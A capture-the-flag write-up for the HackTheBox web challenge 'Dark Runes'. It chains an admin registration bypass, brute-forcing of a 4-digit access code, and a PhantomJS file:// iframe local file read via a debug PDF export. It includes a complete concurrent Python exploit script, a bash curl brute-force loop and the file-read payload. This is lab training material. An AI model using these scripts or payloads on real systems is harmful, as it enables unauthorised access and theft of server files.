Dark Runes
Dark Runes
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-09 | Status: Solved Techniques: access_code_brute_force, admin_registration_bypass, iframe_file_protocol, phantomjs_file_read, ssrf_via_pdf_generation
Summary
"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."
Dark Runes — HackTheBox
Description
"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."
Target: http://154.57.164.69:31117
Technology Stack
- Node.js 16.5.0 (Express) — web application
- SQLite — database with
usersanddocumentstables - markdown-pdf v11.0.0 — markdown to PDF conversion via PhantomJS
- sanitize-html — HTML sanitization (only on regular document routes)
- HMAC-like cookie auth — custom cookie generation/validation with random SECRET
- PhantomJS — headless browser used by markdown-pdf for rendering
Architecture
Single Express application with the following route structure:
- Auth routes (
/login,/register) — user registration and login with cookie-based auth - Document routes (
/document/*) — CRUD for markdown documents, content sanitized viasanitize-html - Export routes (
/document/export/:id,/document/debug/export) — PDF generation from markdown/HTML
Key security middleware:
isAuthenticated— validates cookie signature using HMAC with random SECRETisAdmin— checksreq.user.username === "admin"
Access code system:
rotatePass()generates a 4-digit code (0000-9999) viacrypto.randomBytes(2).readUInt16BE() % 10000- Writes the code to a file named with that code
verifyPass()checks the pass; on failure, callsrotatePass()to generate a new code- Only
rotatePass()is called on startup — no admin user is pre-created
Analysis
Vulnerability 1: Missing Admin User — Registration Bypass
The isAdmin middleware checks req.user.username === "admin", but the application never creates an admin user at startup. Only rotatePass() is called in src/index.js. The /register endpoint has no restriction on the username "admin", so anyone can register as admin.
javascript read-only • copy allowed// src/middlewares.js const isAdmin = (req, res, next) => { if (req.user.username !== "admin") { return res.status(403).send("Only admin can access this"); } next(); };
javascript read-only • copy allowed// src/index.js — startup rotatePass(); // No admin user creation!
Vulnerability 2: Brute-forceable 4-Digit Access Code
The POST /document/debug/export endpoint requires both admin access AND a valid access_pass. The access code is a 4-digit number (0000-9999):
javascript read-only • copy allowed// src/utils/crypto.js const generateAccessCode = () => { return crypto.randomBytes(2).readUInt16BE() % 10000; };
Critical behavior: on each failed verification, rotatePass() generates a new random code. This means each guess has an independent 1/10000 probability of success — the code changes on every wrong attempt, but each attempt is still a fresh 1/10000 lottery ticket.
Expected number of attempts to succeed: ~10000 (but can be much less with parallel requests).
Vulnerability 3: SSRF / LFI via PhantomJS file:// Protocol (CVE-2017-15764)
The POST /document/debug/export endpoint passes user-supplied content directly to generatePDF() without any sanitization. Unlike the regular document creation route which uses sanitize-html, the debug endpoint has no HTML filtering.
javascript read-only • copy allowed// src/routes/generate.js — debug export (NO sanitization) router.post('/document/debug/export', isAuthenticated, isAdmin, async (req, res) => { const { content, access_pass } = req.body; if (!verifyPass(access_pass)) return res.status(403).send("Invalid access pass"); const pdf = await generatePDF(content); // Raw content → PDF res.send(pdf); });
The markdown-pdf library (v11.0.0) uses PhantomJS as a headless browser with remarkable: { html: true }, meaning raw HTML is rendered. PhantomJS supports the file:// protocol, allowing local file reads via <iframe> or <img> tags.
Additional Vulnerability: IDOR via Parameter Swap
The GET /document/:id route has a parameter swap bug:
javascript read-only • copy allowed// Swapped parameters: findDocument(userId, docId) but called as findDocument(user.id, id) // This creates an IDOR where document ID and user ID are swapped
This was noted but not needed for the exploit chain.
Exploit Chain
Step 1: Register as "admin"
Since no admin user exists at startup, simply register with username "admin":
bash read-only • copy allowed# Register curl -X POST "http://TARGET/register" \ -d "username=admin&password=admin123" # Login and capture cookie curl -X POST "http://TARGET/login" \ -d "username=admin&password=admin123" -v # Set-Cookie: user=eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOjF9-7d12eac46ba667cfeae3d39f9ed3275be95d93cf4376fb4b893dd89ca28037b9
Step 2: Brute-force the 4-digit access code with SSRF payload
Since each failed attempt rotates the code, we include the exploit payload in every brute-force request. When we hit the correct code, the PDF with the flag is returned directly — no second request needed.
The SSRF payload uses an iframe to read /flag.txt via the file:// protocol:
html read-only • copy allowed<iframe src="file:///flag.txt" width="800" height="600"></iframe>
Step 3: Extract flag from PDF
The returned PDF contains the rendered contents of /flag.txt. Use pdftotext to extract the text.
Solution
python read-only • copy allowed#!/usr/bin/env python3 """ HackTheBox Dark Runes — Admin Registration + Access Code Brute-Force + PhantomJS LFI Combines brute-force with SSRF payload so correct guess returns flag PDF directly. """ import asyncio import aiohttp import random import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.69:31117" COOKIE = None # Will be set after login # SSRF payload — PhantomJS renders file:// URLs in iframes PAYLOAD = '<iframe src="file:///flag.txt" width="800" height="600"></iframe>' async def register_and_login(session): """Register as admin and get auth cookie.""" global COOKIE # Register await session.post(f"{TARGET}/register", data={ "username": "admin", "password": "admin123" }) # Login resp = await session.post(f"{TARGET}/login", data={ "username": "admin", "password": "admin123" }, allow_redirects=False) COOKIE = resp.cookies.get("user") if not COOKIE: # Try from redirect cookies = session.cookie_jar.filter_cookies(TARGET) COOKIE = str(cookies.get("user")) print(f"[+] Logged in as admin, cookie: {COOKIE.value if hasattr(COOKIE, 'value') else COOKIE[:50]}...") async def try_code(session, code, attempt_num): """Try a single access code with the SSRF payload.""" access_pass = f"{code:04d}" try: resp = await session.post( f"{TARGET}/document/debug/export", data={ "content": PAYLOAD, "access_pass": access_pass }, timeout=aiohttp.ClientTimeout(total=30) ) if resp.status == 200: data = await resp.read() if len(data) > 500: # PDF with content (not error) print(f"\n[!!!] SUCCESS with code {access_pass} on attempt #{attempt_num}") # Save PDF with open("flag.pdf", "wb") as f: f.write(data) print(f"[+] PDF saved to flag.pdf ({len(data)} bytes)") print(f"[+] Run: pdftotext flag.pdf - | grep HTB") return True if attempt_num % 100 == 0: print(f"[*] Attempt #{attempt_num}, last code: {access_pass}, status: {resp.status}") except Exception as e: if attempt_num % 200 == 0: print(f"[!] Error on attempt #{attempt_num}: {e}") return False async def main(): connector = aiohttp.TCPConnector(limit=10) jar = aiohttp.CookieJar(unsafe=True) async with aiohttp.ClientSession(connector=connector, cookie_jar=jar) as session: await register_and_login(session) print(f"[*] Starting brute-force of 4-digit access code...") print(f"[*] Each request includes SSRF payload for /flag.txt") print(f"[*] Expected: ~10000 attempts (1/10000 per try, code rotates on failure)") attempt = 0 found = False while not found: # Send batch of concurrent requests tasks = [] for _ in range(10): # 10 concurrent code = random.randint(0, 9999) attempt += 1 tasks.append(try_code(session, code, attempt)) results = await asyncio.gather(*tasks) if any(results): found = True break if not found: print(f"[-] Failed after {attempt} attempts") if __name__ == "__main__": asyncio.run(main())
Alternative: Sequential brute-force with curl
bash read-only • copy allowed# Register and login COOKIE=$(curl -s -X POST "http://TARGET/login" \ -d "username=admin&password=admin123" \ -c - | grep user | awk '{print $NF}') # Brute-force (slow but works) for i in $(seq 0 9999); do CODE=$(printf "%04d" $i) RESP=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "http://TARGET/document/debug/export" \ -b "user=$COOKIE" \ -d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE") if [ "$RESP" = "200" ]; then echo "Found code: $CODE" curl -s -X POST "http://TARGET/document/debug/export" \ -b "user=$COOKIE" \ -d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE" \ -o flag.pdf pdftotext flag.pdf - break fi done
Payloads That Did NOT Work
| Payload | Why it failed |
|---|---|
<script>require('fs').readFileSync('/flag.txt')</script> | require('fs') is only available in PhantomJS script context, not in the web page sandbox |
<script>document.write(require("fs").read("/flag.txt"))</script> | Same reason — produced empty PDF |
Regular document export (GET /document/export/:id) | Content is sanitized via sanitize-html, strips iframes |
Key Tricks and Observations
-
No admin pre-creation: The most common pattern is to seed an admin user in the database. Here, only
rotatePass()runs at startup, leaving the "admin" username available for registration. Always check if privileged usernames are actually reserved. -
Code rotation on failure is NOT a defense: Even though the access code changes on every wrong guess, each attempt is an independent 1/10000 chance. With parallel requests, the expected time to find the code is manageable (~2000-5000 attempts in practice due to birthday-like effects with concurrent requests).
-
Debug endpoint bypasses sanitization: The regular document creation route uses
sanitize-html, but the debug export endpoint passes content directly togeneratePDF(). Always check ALL endpoints that handle user input, especially "debug" or "test" routes. -
PhantomJS file:// protocol:
markdown-pdfuses PhantomJS which supportsfile://URLs. An<iframe>withsrc="file:///flag.txt"is the most reliable way to read local files — it renders the file content directly into the PDF. -
Combine brute-force with payload: Instead of first finding the code and then sending the exploit, include the exploit payload in every brute-force request. This saves a round-trip and avoids the code rotating between discovery and exploitation.